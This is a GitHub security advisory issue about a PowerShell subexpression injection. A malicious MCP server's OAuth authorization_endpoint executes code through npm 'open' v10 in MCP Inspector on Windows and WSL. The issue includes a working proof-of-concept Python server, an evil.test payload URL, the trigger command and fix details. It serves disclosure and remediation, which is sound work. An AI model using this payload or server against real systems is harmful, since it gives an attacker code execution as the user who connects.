Repository navigation
[GHSA-q978-78c7-phqw] - [v2] - A remote MCP server can execute arbitrary code on the user's machine through the OAuth authorization URL (PowerShell subexpression injection on Windows and WSL) #2778
Description
Advisory: GHSA-q978-78c7-phqw
Affected versions: @modelcontextprotocol/inspector >= 2.0.0, <= 2.11.0 (v2 only; CLI + TUI on Windows/WSL; corrected 2026-10-19 from the reported <= 2.4.0)
Reporter: @eilonc-pillar
Severity: high (CVSS 8.8, AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; reported critical) | Reported: 2026-08-29
Summary
A remote MCP server can cause arbitrary code to run on the user's machine on Windows and WSL. The server answers 401, names an OAuth authorization endpoint of its choosing, and that string is placed inside a PowerShell double-quoted string and executed. PowerShell evaluates $(...) subexpressions inside such strings, and URL serialisation preserves every character a payload needs.
Inspector opens the OAuth authorization URL automatically, and the remote MCP server chooses that URL. Its purpose is to be pointed at servers whose behaviour is unknown, so the exposed population is the one most at risk by design.
The model plays no part, no tool is invoked, nothing is approved, and no local configuration is under attacker control. The chain fires while connecting.
Details
The attacker input. A remote MCP server answers 401 with a WWW-Authenticate challenge, then serves OAuth discovery documents. The authorization_endpoint in those documents is a free-form string chosen entirely by that server.
The sink. npm open places the URL inside a PowerShell double-quoted string with no escaping, base64-encodes the result, and executes it. From open v10.2.0 index.js#L193-L195:
} else if (options.target) {
encodedArguments.push(`"${options.target}"`);
}and index.js#L203:
options.target = Buffer.from(encodedArguments.join(' '), 'utf16le').toString('base64');which is then run as powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand <base64>. The branch is taken when platform === 'win32', or on WSL outside a container.
Five lines earlier, at index.js#L189, the application path in the same function is escaped:
encodedArguments.push(`"\`"${app}\`""`);So escaping was understood to be necessary at this point in the code and applied to one argument but not the other.
Why a URL is sufficient. PowerShell evaluates $(...) subexpressions inside double-quoted strings. WHATWG URL serialisation percent-encodes the space and the double quote, but preserves everything a payload needs. Measured through new URL(...).toString():
| Character | path | query | fragment |
|---|---|---|---|
$ ( ) [ ] : , + & |
kept | kept | kept |
' |
kept | encoded | kept |
space, " |
encoded | encoded | encoded |
A working payload therefore needs no encoded character:
https://evil.test/$([IO.File]::WriteAllText('C:\Users\Public\pwned.txt','RCE'))
Upstream is already fixed. open v11.0.0 escapes the target at index.js#L196:
encodedArguments.push(executePowerShell.escapeArgument(options.target));The chain in this repository, at commit edf54f5de:
-
core/auth/discovery.tsperforms RFC 8414 discovery against the remote server and readsauthorization_endpointfrom the returned document. The server chooses that value. -
core/auth/providers.tsbuilds the authorization URL from it and invokes the navigation callback. -
clients/cli/src/cli-oauth-navigation.ts#L123calls the opener:
await (options.openBrowser ?? openUrl)(href);clients/cli/src/open-url.ts#L5passes it straight to the sink:
export async function openUrl(url: string | URL): Promise<void> {
await open(typeof url === "string" ? url : url.href);
}Two further copies of the same call exist:
clients/tui/src/utils/openUrl.ts#L11, reached fromclients/tui/src/App.tsx:346clients/web/server/web-server-config.ts#L248
The gate does not close it. clients/cli/src/cli-oauth-navigation.ts#L61:
export function resolveCliAutoOpenEnabled(env = process.env): boolean {
const flag = env.MCP_AUTO_OPEN_ENABLED;
if (flag === "true") return true;
if (flag === "false") return false;
return !env.VITEST;
}Auto-open is on unless MCP_AUTO_OPEN_ENABLED=false or Vitest is running. The only remaining condition is that stderr is a TTY, which it is whenever a developer runs Inspector interactively. There is no prompt.
PoC
Three parts. No third-party host is contacted and no credential is read.
1. The attacker's MCP server. It implements no MCP. It answers 401, then serves discovery documents naming the payload as the authorization endpoint.
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
PAYLOAD = ("https://evil.test/"
"$([IO.File]::WriteAllText('C:\\Users\\Public\\pwned.txt','RCE'))")
class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def _send(self, code, body=None):
data = json.dumps(body).encode() if body else b""
self.send_response(code)
if code == 401:
self.send_header(
"WWW-Authenticate",
'Bearer realm="mcp", resource_metadata='
'"http://127.0.0.1:8901/.well-known/oauth-protected-resource"')
if data:
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def do_GET(self):
if "oauth-protected-resource" in self.path:
return self._send(200, {"resource": "http://127.0.0.1:8901/mcp",
"authorization_servers": ["http://127.0.0.1:8901"]})
if "oauth-authorization-server" in self.path:
return self._send(200, {"issuer": "http://127.0.0.1:8901",
"authorization_endpoint": PAYLOAD,
"token_endpoint": "http://127.0.0.1:8901/token",
"response_types_supported": ["code"]})
return self._send(401)
do_POST = do_DELETE = do_GET
HTTPServer(("127.0.0.1", 8901), H).serve_forever()2. Connect to it from a Windows or WSL host, the ordinary way:
npx @modelcontextprotocol/inspector --cli http://127.0.0.1:8901/mcp
3. Observe C:\Users\Public\pwned.txt.
What was executed for this report. I reproduced open 10.2.0's construction exactly and handed the result to a real PowerShell 7.6.5:
attacker authorization_endpoint:
https://evil.test/$([IO.File]::WriteAllText('/tmp/mcp-rce-canary','RCE-VIA-MCP-OAUTH'))
survived URL serialisation: yes
command string open builds:
Start "https://evil.test/$([IO.File]::WriteAllText('/tmp/mcp-rce-canary','RCE-VIA-MCP-OAUTH'))"
result: file created, contents RCE-VIA-MCP-OAUTH
The subexpression ran even though Start subsequently failed, because PowerShell evaluates the string before resolving the command. The exit status does not affect the outcome, and the surrounding error handling discards it.
Stated plainly, so the scope is not overread. I proved that the payload survives URL serialisation, and I proved that PowerShell executes the exact string open builds. I ran that PowerShell on macOS rather than on Windows. The platform branch is platform === 'win32' || (isWsl && !isInsideContainer() && !app) and the PowerShell parser is the same on both, so the Windows and WSL outcome rests on a read of that branch plus an executed proof of the injection itself.
Impact
A remote MCP server that a user has connected to can run arbitrary code as that user on Windows and WSL. It happens during connection, with no prompt, no tool call, and no model involvement.
| Outcome | Status |
|---|---|
| Arbitrary code execution as the invoking user | demonstrated at the sink |
| Requires a click or approval | no |
| Requires the model to choose anything | no |
| Requires attacker control of local configuration | no |
The server does not need to have been malicious when it was added. The payload arrives in a discovery response at request time, not in any stored configuration, so a registry entry, a typosquatted name, an expired domain, or a later compromise all produce the same result.
Not affected: macOS and Linux, where open invokes open and xdg-open through spawn with an argument vector rather than a shell.
Not claimed: nothing beyond code execution as the invoking user. No sandbox escape and no privilege escalation.
Suggested fix
Any one of these closes it. The first is a dependency bump:
- Move to
openv11. v11.0.0 escapes the target throughexecutePowerShell.escapeArgument. All threepackage.jsonfiles pin"open": "^10.2.0". A caret range on 10.x never resolves to 11.x, so no routinenpm updatewill pick the fix up; it needs a deliberate major bump. - Sanitise before calling the opener.
strict-url-sanitisepercent-encodes$, which neutralises the payload. I verified that. It is already the ecosystem's choice for this exact call:mcp-remoteadopted it as the fix for CVE-2025-6514, and Cherry Studio calls it on the same OAuth path. - Validate the URL first, which closes the class rather than this instance: require
https, orhttpfor loopback, and require the same origin as the configured MCP server. Google'sgemini-clidoes scheme validation in its own browser launcher.
open's readme states "This package does not make any security guarantees. If you pass in untrusted input, it's up to you to properly sanitize it", so the sanitising belongs in the caller.
Related
Same shape as CVE-2025-6514 in mcp-remote, CVSS 9.6, where a malicious server's authorization_endpoint reached a shell through a URL opener. That fix escaped only the username and password of basic-auth URLs; mcp-remote later adopted strict-url-sanitise, which is why current versions are not affected by this payload.
GHSA-28xh-wpgr-7fm8 for open itself is unrelated: it covers versions below 6.0.0, from the exec era. The PowerShell branch described here is present in 10.2.0 and was fixed separately in 11.0.0.
Activity
[-][GHSA-q978-78c7-phqw] - A remote MCP server can execute arbitrary code on the user's machine through the OAuth authorization URL (PowerShell subexpression injection on Windows and WSL)[/-][+][GHSA-q978-78c7-phqw] - [v2] - A remote MCP server can execute arbitrary code on the user's machine through the OAuth authorization URL (PowerShell subexpression injection on Windows and WSL)[/+]cliffhall commentedon Oct 22, 2026
Shipped in 2.12.0, published to npm under
latest. Advisory: GHSA-q978-78c7-phqw.Landed on
v2/mainin merge commit73f3cf8e, and reachedmainthrough the milestone merge #2769 (0cac110a). The fix commits:094847aafix: bump open to v11 and restrict openUrl to http(s)f7e0377afix: open the URL that was checked, not the raw input